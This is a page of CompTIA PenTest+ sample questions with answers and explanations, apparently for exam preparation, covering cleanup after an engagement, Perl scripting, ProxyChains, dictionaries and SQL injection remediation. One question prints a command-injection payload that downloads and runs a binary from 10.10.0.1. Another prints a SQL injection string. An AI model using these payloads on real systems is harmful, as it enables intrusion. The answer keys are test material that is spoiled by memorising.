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CompTIA PenTest+ Certification Sample Questions (Q339-Q344):
NEW QUESTION # 339 
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
Which of the following commands should the penetration tester run post-engagement?

A. taskkill /IM "apache" /F
B. rm -rf /tmp/apache
C. grep -v apache ~/.bash_history > ~/.bash_history
D. chmod 600 /tmp/apache

Answer: B

NEW QUESTION # 340 
A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working
properly.
Which of the following changes should the tester apply to make the script work as intended?
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A. Remove lines 3, 5, and 6.
B. Remove line 6.
C. Change line 2 to $ip= €10.192.168.254€;
D. Move all the lines below line 7 to the top of the script.

Answer: A

Explanation:
https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html
Example script:
#!/usr/bin/perl
$ip=$argv[1];
attack($ip);
sub attack {
print("x");
}

NEW QUESTION # 341 
A penetration tester conducts an Nmap scan against a target and receives the following results:

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. OWASPZAP
B. ProxyChains
C. Nessus
D. Empire

Answer: B

Explanation:
Reference: https://www.codeproject.com/Tips/634228/How-to-Use-Proxychains-Forwarding-Ports

NEW QUESTION # 342 
Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

A. Catalog
B. Symlink
C. Dictionary
D. For-loop
E. Directory

Answer: C

Explanation:
A dictionary can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools. A dictionary is a collection of
key-value pairs that can be accessed by using the keys.
For example, a dictionary can store usernames and passwords, or IP addresses and hostnames, that can be used as input for brute-force or reconnaissance
tools.

NEW QUESTION # 343 
A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:
x' OR role LIKE '%admin%
Which of the following should be recommended to remediate this vulnerability?

A. Parameterized queries
B. Encrypted communications
C. Multifactor authentication
D. Secure software development life cycle

Answer: A

Explanation:
The best recommendation to remediate this vulnerability is to use parameterized queries in the web application. Parameterized queries are a way of preventing
SQL injection attacks by separating the SQL statements from the user input. This way, the user input is treated as a literal value and not as part of the SQL
statement. For example, instead of using x' OR role LIKE '%admin%, the user input would be passed as a parameter to a prepared statement that would check
if it matches any value in the database.
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